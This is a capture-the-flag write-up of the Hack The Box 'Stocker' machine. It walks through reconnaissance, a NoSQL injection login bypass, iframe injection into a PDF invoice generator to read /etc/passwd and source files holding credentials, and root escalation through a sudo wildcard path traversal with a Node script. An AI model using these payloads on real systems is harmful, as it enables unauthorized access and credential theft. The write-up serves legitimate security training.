Stocker @ Hack The Box

A write-up on HTB Stocker Box

images/banner.png

The Stocker machine, created by JoshSH on the Hack the Box platform, is a Linux-based setup. It is considered to be of low difficulty level and carries a point value of 20 points.

Reconnaissance

I initiated the reconnaissance phase by proceeding with additional information gathering. Subsequently, I performed a scan on the machine with the IP address 10.10.11.196 utilizing the nmap tool.

┌──(kali㉿blackbox)-[~]
└─$ nmap -sV -sC 10.10.11.196
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-28 11:37 IST
Nmap scan report for 10.10.11.196
Host is up (0.25s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE    SERVICE      VERSION
22/tcp   open     ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp   open     http         nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
1110/tcp filtered nfsd-status
2557/tcp filtered nicetec-mgmt
3324/tcp filtered active-net
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.16 seconds

During my investigation, I discovered that the machine is effectively hosting a web server associated with the domain name stocker.htb. To facilitate access, I included this domain in my local DNS entry.

stocker_site.png

Enumeration

Since I encountered a lack of accessible and relevant links on the website, I made the decision to delve deeper into the exploration of the stocker. To acquire additional information about the website, I utilized the whatweb tool.

┌──(kali㉿blackbox)-[~/…/HTB/Boxes/Stocker/guide]
└─$ whatweb stocker.htb 
http://stocker.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.196], Meta-Author[Holger Koenemann], MetaGenerator[Eleventy v2.0.0], Script, Title[Stock - Coming Soon!], nginx[1.18.0]

Similarly, no useful findings were obtained in this endeavor. Nevertheless, I opted to proceed with subdomain enumeration by employing gobuster along with the common.txt wordlist of subdomains. The output of this operation provided me with the following information.

┌──(kali㉿blackbox)-[~/…/HTB/Boxes/Stocker/guide]
└─$ gobuster vhost -u stocker.htb -w /usr/share/wordlists/dirb/common.txt -t 50 --append-domain 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://stocker.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/wordlists/dirb/common.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/06/06 00:03:04 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
Progress: 4614 / 4615 (99.98%)
===============================================================
2023/06/06 00:03:33 Finished
===============================================================

Upon accessing the link dev.stocker.htb, the following webpage was displayed. Consequently, I obtained a new URL that presented an opportunity to attempt logging in.

1_1_login.png

On trying a random login credential, as expected, I landed nowhere.

Credentials: Username=Username, Password=Password

1_1_loginFAiLED_A.png

Meanwhile, I concurrently intercepted the request using Burp Suite and proceeded to observe the data flow and its format.

1_1_loginFAiLED_B.png

Foothold

Opting to modify the format of the request parameters, I transferred the intercepted request to the repeater tool. In the process, I adjusted the request’s content type to application/json and conveyed the data in the JSON format.

{
  "username":{
	"$ne":"admin"
  }, 
  "password":{
	"$ne":"pass"
  }
}

After sending the custom request through Burp Repeater, the subsequent response was received and captured.

1_2_burpRsp

This led me to delve deeper into dev.stocker.htb/stock for further exploration. Upon visiting the provided link, I was presented with the following webpage:

2_1_stockMarket

Upon attempting to make a purchase of a certain product, I examined the associated request and response. The findings of this examination were as follows:

Request:

POST /api/order HTTP/1.1
Host: dev.stocker.htb
Content-Length: 162
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://dev.stocker.htb
Referer: http://dev.stocker.htb/stock
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3A8uc-bnrsgmlPruA8d9s05Gtwq8nYy9AG.uudoSvlAA6oMn0L%2FxNTCoCMwqL8%2Blm26u%2FZ7O857ORk
Connection: close

{
  "basket":[
             {
               "_id":"638f116eeb060210cbd83a8d",
               "title":"Cup",
               "description":"It's a red cup.",
               "image":"red-cup.jpg",
               "price":32,
               "currentStock":4,
               "__v":0,"amount":1
             }
           ]
 }

Response:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 06 Jun 2023 14:35:49 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-C1dcjii7h86ul/ojpHfWmsW/B98"

{
  "success":true,
  "orderId":"647f4445e8bd6702e27b4e0c"
}

Alt text

Additionally, the system also generated a PDF invoice, which could be obtained upon retrieval.

Lateral Movement

Next, I proceeded to attempt the embedding of an <iframe> within the title field with the intention of retrieving customized information.

<iframe src="/etc/passwd" height=500 width=500></iframe>  

In this case, the order ID was identified as 647f6b1ce8bd6702e27b4e1f. To conduct various experiments, I utilized the same request through the repeater tool. The infromation captured on burp looked as below:

images/2_2_invoice

After making slight adjustments to the frame size, I resubmitted the same request using the repeater tool. Upon visiting http://dev.stocker.htb/api/po/<order ID>, instead of the invoice, I received the following PDF file.

invoice_647f6bc5e8bd6702e27b4e24

Furthermore, it indicates the capability to execute remote commands and obtain the resulting outputs in the form of downloadable PDF files.

Privilege Escalation

By analyzing the output from the preceding request, it is evident that the user Angoose possesses the following privileges:

angoose❌1001:1001:,,,:/home/angoose:/bin/bash

Gaining User (angoose)

Given that Angoose is a user with /bin/bash access, I attempted to investigate the /var/www/dev directory using the following payload:

<iframe
   src=file:///var/www/dev/index.js
   height=1000px
   width=1000px
>
</iframe>

During this attempt, I received a PDF response from mongodb which contained the access credentials of the user Angoose. The content of the file appeared as follows:

user_647f7187e8bd6702e27b4e29

Leveraging these credentials, I established an SSH connection to the system, granting me access to the account associated with the user Angoose. Within the system’s home directory, I located the user’s flag labeled as user.txt.

3_1_userFlag.png

$ cat ~/user.txt

It resulted into user flag: 2631a6😈😈😈😈😈😈😈98bdd1

Gaining root

Since I lacked the necessary root privileges, I utilized the nano text editor on the victim’s system to create an exploit code named 73MP0R4L.js. The contents of the file 73MP0R4L.js were as follows:

const fs = require("fs");
fs.readFile("/root/root.txt", "utf8", (err, data) => {
 if (err) throw err;
 console.log(data);
});

Then I made the file executable with the following command:

angoose@stocker:~$ chmod +x 73MP0R4L.js

2_4_rootGainJS.png

When I executed the exploit code from the present directory, it returned a permission error. Consequently, I attempted to run it using the relative path. At this point, the system prompted me for the user password, which I had already obtained and utilized to escalate my privileges to the user level.

After entering the correct password, I obtained the root flag as shown below:

angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/73MP0R4L.js
[sudo] password for angoose: 
41ad26😈😈😈😈😈😈😈c095ae
Avatar
Ravi Prakash Tripathi
Research Associate

A Ph.D. fellow working on “Security in Socio-industrial Metaverse” who could often be found somewhere messing up with bugs & vulnerabilities, contributing to open source or writing poems.

Previous

Related